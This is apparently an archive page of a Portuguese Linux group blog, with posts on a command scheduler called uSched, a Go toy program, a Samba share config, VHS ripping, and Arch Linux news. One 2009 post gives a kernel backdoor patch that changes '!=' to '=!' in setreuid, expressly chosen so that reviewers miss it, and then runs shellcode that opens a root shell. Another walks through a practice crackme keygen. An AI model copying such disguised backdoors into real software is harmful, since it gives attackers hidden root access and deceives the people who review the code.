Mais um blog inútil.

Linux

Março 22, 2015

uSched

Arquivado em: coding, linux — thread @ 01:26

Caros blolistas,

Venho aqui apresentar uma inutilidade que recentemente saiu da pasta Lixo/ para o GitHub e que tem sofrido desde então alguns commits que tentam tornar a coisa um pouco mais útil, dentro dos limites da inutilidade.

Falo-vos do uSched: http://www.usched.org

Para quem não tem acompanhado o #C da PTnet e se deparar com tal coisa, a tendencia será fazer scroll de cima abaixo no site e fechar assim que o footer é atingido… No entanto, venho chamar a vossa atenção para algumas coisas em que isto “até pode dar jeito”.

A ideia não é substituir o ‘cron’, nem mesmo o ‘at’, mas sim ter uma ferramenta que permita agendar a execução de comandos via command-line, ou integrar tais agendamentos noutras aplicações que necessitem de o fazer por as mais variadissimas razões, já que o uSched nos oferece uma serie de bindings para as mais variadas linguagens que por aí andam (excepto Perl… Ruby… por favor… :P… vá… serão suportadas em breve também, não comecem já a chorar).

Indo agora de encontro a alguns exemplos práticos, imaginem que se pretende obter raw data de partições de 30 em 30 segundos:

 $ usc run 'df >> /tmp/df.out' now then every 30 seconds

Claro está que isto também poderia ser feito com um simples while e um sleep na propria shell… mas envolveria muito mais que isso, pois teria que existir a preocupação de: E se a máquina rebootar? (toca a criar um script pra colocar, por exemplo, no rc.local), E se eu quiser que isto pare em determinada hora ou dia ou ano? Algo que se pode resolver com:

 $ usc run 'df >> /tmp/df.out' now then every 30 seconds until to date 2015-04-15

Então e se pretender fazer tal coisa numa máquina remota?

 $ usc -H remote.example.com -U username run 'df >> /tmp/df.out' now then every 30 seconds
 Password:
 $

E dizem-me voces: “E porque não usar SSH?”
Bom… seria uma boa solução no caso de command-line requests… mas se o uSched não suportasse client/server nativamente, seria um problema quando quisessemos integrar tais pedidos remotos em aplicações que façam uso da sua client library… ou seja:

  $usc = new Usched();
  
  $usc->SetHostname("remote.example.com");
  $usc->SetPort("7600");
  $usc->SetUsername("username");
  $usc->SetPassword("password");

  $usc->Request("run 'wget http://myapp.com/run_this_every_day.php' on time 01:00:00 then every 1 day");

As opções inúteis são infinitas, até mesmo criar uma avorezinha over time poderia ser uma boa intuilidade. Todos os dias veriamos o crescimento da mesma!

Bom, sem querer extender muito mais este post, recomendo-vos que dêm uma vista de olhos (com olhos de ver) na home page e github do projecto e caso tenham ideias e/ou queiram contribuir com algo, ficarei muito grato.

Saudações a todos.

Maio 23, 2010

Arvorezinha - Google Go

Arquivado em: arvorezinha, coding, linux, useless — falso @ 02:54

Olá amigos, estava aqui aborrecido e já a pensar em ir-me deitar porque não tinha series para ver nem nada para fazer, e então lembrei-me que não havia arvorezinha na linguagem de programação Go da Google, então pus mãos à obra, e foi tão simples que até pensei não vir aqui blogar sobre isso, mas como não tinha nada para fazer, aqui vai o sores.

/* this crap can never fail */

package main

import "os"

func main() {
	var RFC_MAX int = 5
	for i := 1; i <= RFC_MAX; i++ {
		for x := 0; x < i; x++ {
			os.Stdout.WriteString("*")
		}
		os.Stdout.WriteString("\n")
	}
}

E a tal pic que toda a gente gosta, como prova!

Novembro 5, 2009

Backdoor em Lunix Kernel

Arquivado em: coding, linux — charlie-lindinho @ 07:57

oi lindinhos, assim num piscar de peida, apresento-vos uma forma simples e subtil de inserir uma backdoor num linux kernel e para isso foquei-me particularmente na syscall setreuid :

SYSCALL_DEFINE2(setreuid, uid_t, ruid, uid_t, euid)
{
	const struct cred *old;
	struct cred *new;
    int retval;
	...

    if (new->uid != old->uid) 
	{
        retval = set_user(new);
		if (retval < 0)
			goto error;
    }
	...

se quisessemos “backdoorar” a syscall em questao bastava-nos negar o valor do uid antigo e atribuir o valor do mesmo ao novo uid antes da funcao set_user.

e como negar o valor do uid actual ? tenham em conta o seguinte exemplo :

charlie@inferno:[~]$ cat > getuid.c << EOF
>#include <stdio.h>
>
>int main() {
>
>	printf("uid=%d\n", !getuid());
>}
>EOF
charlie@inferno:[~]$ gcc -o getuid getuid.c
charlie@inferno:[~]$ id
uid=1001(charlie) gid=100(users) groups=100(users)
charlie@inferno:[~]$ ./getuid
uid=0
charlie@inferno:[~]$

como podem verificar, o valor devolvido pela funcao getuid foi negado pelo operador “!” por outro lado, se o nosso uid fosse 0, o valor apresentado seria 1 :

charlie@inferno:[~]$ sudo ./getuid
Password:
uid=1
charlie@inferno:[~]$

entao para atribuir o valor *negado* do antigo uid ao novo uid e assim obter root atraves da syscall setreuid, basta-nos substituir a linha

if (new->uid != old->uid) por if (new->uid =! old->uid).

no que toca a codigos de *mil* linhas, como o do linux kernel, e’ pouco provavel que um par de olhos cansados e cheios de cavalo note a diferenca entre um “!=” e “=!”.

aqui vai o patch :

[ setreuid.patch ]

--- kernel/sys.c
+++ kernel/sys.c
@@ -636,7 +636,7 @@
                        goto error;
        }

-       if (new->uid != old->uid) {
+       if (new->uid =! old->uid) {
                retval = set_user(new);
                if (retval < 0)
                        goto error;



charlie@inferno:[/usr/src/linux-2.6.29.1]$ sudo patch -p0 < setreuid.patch
Password:
patching file kernel/sys.c
charlie@inferno:[/usr/src/linux-2.6.29.1]$ sudo make bzImage &> /dev/null
charlie@inferno:[/usr/src/linux-2.6.29.1]$ gdb vmlinux
    (no debugging symbols found)
    (gdb) disas sys_setreuid

...

0xc1030e98 <sys_setreuid+149>:  xor    eax,eax				eax = 0
0xc1030e9a <sys_setreuid+151>:  cmp    DWORD PTR [edi+0x4],0x0		compara o uid antigo com 0x0
0xc1030e9e <sys_setreuid+155>:  sete   al				al = 0 (zero flag = 0)
0xc1030ea1 <sys_setreuid+158>:  test   eax,eax				
0xc1030ea3 <sys_setreuid+160>:  mov    DWORD PTR [esi+0x4],eax		uid novo = eax (0)

...

(gdb) q
charlie@inferno:[/usr/src/linux-2.6.29.1]$

reboot, siga, fumos.

charlie@inferno:[~]$ cat > org.asm << EOF
>         bits 32
>
>
>         global  _start
>
>
>         _start
>
>
>         push    byte    0x46
>         pop     eax
>
>         dec     ebx
>         dec     ecx
>
>         int     0x80
>
>         inc     ecx
>         push    ecx
>         push    dword   0x68732f2f
>         push    dword   0x6e69622f
>
>         push    esp
>         pop     ebx
>
>         push    byte    0xb
>         pop     eax
>
>         int     0x80
> EOF
charlie@inferno:[~]$ nasm -f elf org.asm && ld -o orgasm org.o
charlie@inferno:[~]$ ./orgasm
bash-3.1# id
uid=0(root) gid=100(users) groups=100(users)
bash-3.1# exit
charlie@inferno:[~]$

tendo em conta que provavelmente este sera’ o meu ultimo post para as intermetes, so vos digo :
gosto muito da minha gatinha e acho que ela gosta de mim.
eu sou maluco e eu tambem. adeus.

Julho 31, 2009

kgme1

Arquivado em: assembly, cracking, linux, useless — falso @ 01:32

Ora viva!

Já há uns tempos que tinha falado com o Dongs para fazer um KeygenMe para eu tentar keygennar porque nunca o tinha feito. Ele então fez um e eu pus mãos à obra.

[ kgme.tar.bz2 ]

$ ./kgme
Name: falso
Serial: 12345
Bad serial!

Abri então o ficheiro no IDA e andei a procurar por “Bad serial!”, e então que achei. Vai aqui um dump comentado:

0804830C	movzx   ecx, byte ptr [esi] ; ESI contem o "User"
0804830C                                ; e ECX contem o primeiro char do "User"
0804830F	test    ecx, ecx        ; Se (ECX != 0x0) ZF=0 ELSE ZF=1
08048311	jz      short loc_8048333 ; Se ZF=1 Salta pro drama
08048313	lea     edx, [ebp-10Fh] ; EDX fica com "User" sem o primeiro char
08048319	mov     ebx, 0DEADh
0804831E	db      66h
0804831E	nop                     ; No Operation
08048320
08048320 loc_8048320:
08048320	mov     eax, ebx        ; EAX passa a tar 0xDEAD tambem
08048322	shl     eax, 5          ; Shift Logical Left 5 vezes
08048325	add     eax, ecx        ; Adiciona o valor do char do "User" (ECX) a EAX
08048327	movzx   ecx, byte ptr [edx] ; le o proximo char pra ECX
0804832A	add     edx, 1          ; Add
0804832D	add     ebx, eax        ; Add
0804832F	test    ecx, ecx        ; Logical Compare
08048331	jnz     short loc_8048320 ; Jump if Not Zero (ZF=0)
08048333
08048333 loc_8048333:
08048333	xor     edx, edx        ; Logical Exclusive OR
08048335	mov     eax, offset aBadSerial ; "Bad serial!"
0804833A	cmp     [ebp-10h], ebx  ; Compare Two Operands
0804833D	setz    dl              ; Set Byte if Zero (ZF=1)
08048340	xor     eax, offset aGoodSerial ; "Good serial!"
08048345	neg     edx             ; Two's Complement Negation
08048347	and     eax, edx        ; Logical AND
08048349	xor     eax, offset aBadSerial ; "Bad serial!"

Então o funcionamento da coisa é mais ou menos o seguinte:

/\* inicialização(?) */
\* Le o Name para o registo ESI
\* Mete o primeiro char do Name no registo ECX
\* EDX fica com o Name sem o primeiro char
\* EBX fica com o valor 0xDEAD

/\* ciclo central */
\* Copia o valor de EBX para EAX
\* Faz um shift left 5 vezes a EAX
\* Adiciona o valor do char em ECX a EAX
\* Le o proximo char do Name para ECX
\* Adiciona 1 a EDX
\* Adiciona EAX a EBX
\* Se ECX nao for diferente de 0 salta para o inicio do ciclo

Vou tentar dar um exemplo:

User: Jim

/\* inicialização */
\* ESI = Jim
\* ECX = J (0x4a)
\* EDX = im
\* EBX = 0xdead

( valores dos registos )
-- ECX = J | EDX = im | EBX = 0xdead –

/\* ciclo central */
( Primeiro ciclo - J )
\* EAX = EBX
-- ECX = J | EDX = im | EBX = 0xdead | EAX = 0xdead –
\* shift left 5 vezes a EAX
-- ECX = J | EDX = im | EBX = 0xdead | EAX = 0x1bd5a0 –
\* adiciona o valor do char em ECX (J - 0x4a) a EAX
-- ECX = J | EDX = im | EBX = 0xdead | EAX = 0x1bd5ea –
\* Le o proximo char do Name pra ECX
-- ECX = i | EDX = im | EBX = 0xdead | EAX = 0x1bd5ea –
\* Adiciona 1 a EDX
-- ECX = i | EDX = m | EBX = 0xdead | EAX = 0x1bd5ea –
\* Adiciona EAX a EBX
-- ECX = i | EDX = m | EBX = 0x1cb497 | EAX = 0x1bd5ea –
\* Se ECX é diferente de 0 então do inicio de novo!

( Segundo ciclo - i )
\* EAX = EBX
-- ECX = i | EDX = m | EBX = 0x1cb497 | EAX = 0x1cb497 –
\* shift left 5 vezes a EAX
-- ECX = i | EDX = m | EBX = 0x1cb497 | EAX = 0x39692e0 –
\* adiciona o valor do char em ECX (i - 0x69) a EAX
-- ECX = i | EDX = m | EBX = 0x1cb497 | EAX = 0x3969349 –
\* Le o proximo char do Name pra ECX
-- ECX = m | EDX = m | EBX = 0x1cb497 | EAX = 0x3969349 –
\* Adiciona 1 a EDX (fica limpo)
-- ECX = m | EBX = 0x1cb497 | EAX = 0x3969349 –
\* Adiciona EAX a EBX
-- ECX = m | EBX = 0x3b347e0 | EAX = 0x3969349 –
\* Se ECX é diferente de 0 então do inicio de novo!

( Terceiro ciclo - m )
\* EAX = EBX
-- ECX = m | EBX = 0x3b347e0 | EAX = 0x3b347e0 –
\* shift left 5 vezes a EAX
-- ECX = m | EBX = 0x3b347e0 | EAX = 0x7668fc00 –
\* adiciona o valor do char em ECX (m - 0x6d) a EAX
-- ECX = m | EBX = 0x3b347e0 | EAX = 0x7668fc6d –
\* Le o proximo char do Name pra ECX (fica limpo)
-- EBX = 0x3b347e0 | EAX = 0x7668fc6d –
\* Adiciona 1 a EDX (continua limpo)
-- EBX = 0x3b347e0 | EAX = 0x7668fc6d –
\* Adiciona EAX a EBX
-- EBX = 0x7a1c444d | EAX = 0x7668fc6d –
\* ECX é zero, então temos a serial em EBX

$ kgme
Name: Jim
Serial: 7a1c444d
Good serial!

Fiz uma implementação em C++ do keygen, que a única coisa que usa de c++ é o cout mas mesmo assim, aqui vai:

//============================================================================
// Name        : lolkg.cpp
// Author      : falso
// Version     : 0.1-pre1-beta2-rc4
// Copyright   : WTFPL
// Description : Keygen para o kgme do dongs
//============================================================================

#include <iostream>
using namespace std;

int main() {

	char name[50];

	cout << "|         |    |\n";
	cout << "|    ,---.|    |__/ ,---.\n";
	cout << "|    |   ||    |  \\ |   |\n";
	cout << "`---'`---'`---'`   ``---|\n";
	cout << "                    `---'\n";

	cout << "Name: " << flush;
	cin >> name;

	int ebx = 0xdead;
	int eax = ebx;
	int ecx = name[0];

	int i = 1;

	while (ecx != 0x0) {
		eax = ebx;
		eax = eax << 5;
		eax = eax + ecx;
		ecx = name[i];
		i++;
		ebx = ebx + eax;
	}

	printf("Serial: %x\n",ebx);

	return 0;
}

E já agora, uma em MIPS assembly pro PCSpim:

# this asm can never fail
#
# lolkg
.data
us: .asciiz "User: "
u: .space 50

.text
.globl main
main:

# print user..
li $v0,4
la $a0,us
syscall

# get string
li $v0,8
la $a0,u
syscall

# variavel inicial do algoritmo
li $s0,0xdead # s0 - ebx
move $s1,$s0 # s1 - eax

la $s5,u # tmp
#apanha o primeiro char do Username
lb $s2,0($s5) # s2 - ecx

_while:
move $s1,$s0
sll $s1,$s1,5
add $s1,$s1,$s2

addi $s5,$s5,1
lb $s2,0($s5) # s2 - ecx

addu $s0,$s0,$s1
bne $s2,0xa,_while

# imprime o serial, mas em decimal ;-(
# nao sei como imprimir em hex, pois o serial é em HEX
li $v0,1
move $a0,$s0
syscall

#sai
li $v0,10
syscall

Espero que todo este conhecimento inútil sirva para alguém, nem que seja pra despertar um bichozinho pequenino pro cracking! Fiquem bem, e crackem muito!

Junho 4, 2009

Samba e files por default.

Arquivado em: drama, fail, linux, lulz, useless, work — devnull @ 20:58

Que raio.

Quero fazer uma coisinha simples, uma directoria partilhada para toda a gente com acesso a leitura/escrita e deparo-me com uma complicação extrema de um ficheiro de configuraçao de samba por default em Debian completamente ilegivel, confuso e com um monte de “features” e comentários inúteis em que só me apetece pegar fogo ao ficheiro. Para não falar dos exemplos que não funcionam se nao Desactivarmos/Activarmos/Re-activarmos algumas opções que estão 34843 linhas acima.

Aqui está a receita para o que eu quero:

pidgeon:~# cat /etc/samba/smb.conf
[global]
workgroup = devnull
server string = Public Share 
netbios name = pidgeon
security = share
smb passwd file = /etc/samba/smbpasswd

[public]
guest ok = yes
guest only = yes
#guest account = ftp
path = /opt/shares/public/
writeable = yes 

Simples, hein?
Fantasticamente isto não vem no ficheiro de default do debian como um dos exemplos…

pidgeon:~# wc -l /etc/samba/smb.conf
13 /etc/samba/smb.conf
pidgeon:~# wc -l /etc/samba/smb.conf.old 
337 /etc/samba/smb.conf.old

337 linhas de lixo. Obrigado!

Abril 21, 2009

Ripar VHS em Linux é fácil

Arquivado em: linux, serious-business — mirage @ 22:58

Não acreditam? Basta escrever este comando e ficam com um .mpg com excelente qualidade! (in b4 mkv: a qualidade de vhs é tão má que nem compensa, prefiro ficar com uma stream compatível com DVD)

transcode -x v4l2=resync_margin=1:resync_interval=250,v4l2 -u 10,4 -J smartyuv -J nored -J dnr -J pv -M 0 -i /dev/video0 -p /dev/dsp -y ffmpeg -F dvd --encode_fields p --export_asr 2 -f 25,3 -w 8000 -Q 5 -N 0x50 -m ok.mp2 -o ok ; mplex -f 3 -V -o ok.mpg ok.m2v ok.mp2

+OK?

Abril 17, 2008

OpenBSD para quem ama!

Arquivado em: linux, openbsd — falso @ 19:43

Passei o blol.org e o rdk.homeip.net (incluido o rdk.homeip.net/wiki) para o OpenBSD, porque a conta da lulz ao fim do mês estava a ser gigante. Assim já posso desligar o lunix durante a noite.

Foi cagativo passar o WordPress de uma maquina pra outra, foi so mesmo copiar os ficheiros e criar o vhost neste apache. Piece of cake, amei mesmo!

Ah… Já tenho alta AP com WPA em OpenBSD! :-P

Fevereiro 17, 2008

Wonder Shaper GUI

Arquivado em: coding, linux — amg @ 16:20

Isto é um GUI que fiz para oferecerem às vossas namoradas para elas configurarem o wonder shaper sem terem muito trabalho.

Ler o README para mais detalhes.

Wonder Shaper GUI

Janeiro 14, 2008

Yaourt 0.8.8-1

Arquivado em: linux, useless — amg @ 23:26

Só para dizer que o Yaourt (A Pacman frontend with more features like AUR support) 0.8.8 foi lançado com fix para o Pacman 3.1, que por terem alterado a estrutura de configuração, o yaourt ficou cheio de doenças. Mas agora já não tem doenças.

Janeiro 12, 2008

Arch Linux com novo site e nova versão do pacman

Arquivado em: linux — amg @ 18:40

Para quem não sabe, a comunidade Arch Linux promoveu há uns tempos atrás um concurso de logotipos (Ver)

Pois bem, o layout do site com o novo logotipo já está de pé.

Aproveito também para dizer que uma nova versão do Pacman está cá fora com umas modificações na estrutura da sua configuração, ficou uns dias no [testing] mas hoje foi movido para o [core].

http://www.archlinux.org